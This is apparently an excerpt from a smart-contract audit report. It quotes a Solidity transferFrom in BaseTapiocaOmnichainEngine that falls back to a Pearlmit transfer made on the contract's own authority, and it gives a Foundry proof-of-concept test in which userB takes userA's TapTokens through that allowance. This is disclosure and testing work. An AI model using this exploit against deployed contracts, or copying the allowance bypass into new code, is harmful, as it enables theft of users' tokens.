File: tapioca-periph/contracts/tapiocaOmnichainEngine/BaseTapiocaOmnichainEngine.sol

63:        if (allowance(from, spender) < value) {
64:            // _transfer(from, to, value);
65:            bool isErr = pearlmit.transferFromERC20(from, to, address(this), value);
66:            if (isErr) revert BaseTapiocaOmnichainEngine_NotValid();
67:        } else {
    function testStealTapTokenUsingPearlmitAllowanceToTapToken() public {
        deal(address(aTapOFT), userA, 1e18);
        assertEq(aTapOFT.balanceOf(userA), 1e18);
        assertEq(aTapOFT.balanceOf(userB), 0);

        // userA allows TapToken to transfer TapTokens
        vm.startPrank(userA);
        pearlmit.approve(address(aTapOFT), 0, address(aTapOFT), 1e18, type(uint48).max);
        aTapOFT.approve(address(pearlmit), 1e18);
        vm.stopPrank();

        // userB sees this and uses that allowance to transfer to themselves
        vm.prank(userB);
        aTapOFT.transferFrom(userA,userB, 1e18);
        
        assertEq(aTapOFT.balanceOf(userA), 0);
        assertEq(aTapOFT.balanceOf(userB), 1e18);
    }
